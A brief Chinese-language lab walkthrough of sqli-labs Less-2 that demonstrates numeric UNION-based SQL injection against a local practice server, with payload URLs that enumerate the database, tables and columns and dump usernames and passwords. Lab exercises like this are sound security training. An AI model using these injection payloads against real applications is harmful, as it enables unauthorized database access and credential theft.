1、判断注入类型
?id=1和?id=2-1的页面一样所以是数字型
2、判断闭合类型
数字型没有闭合符号
3、order by查看有几列
当输入order by 4 时候页面变化,3的时候正常,所以是3列
4、union select联合查询查看回显
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,3 --+
5、查询库名
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,database(),3 --+
6、查询表名
http://127.0.0.1/sqli-labs/Less-2/
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
7、查询列名
http://127.0.0.1/sqli-labs/Less-2/
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
8、查询字段
http://127.0.0.1/sqli-labs/Less-2/
?id=-1 union select 1,group_concat(0x7e,username,0x7e,password),3 from users --+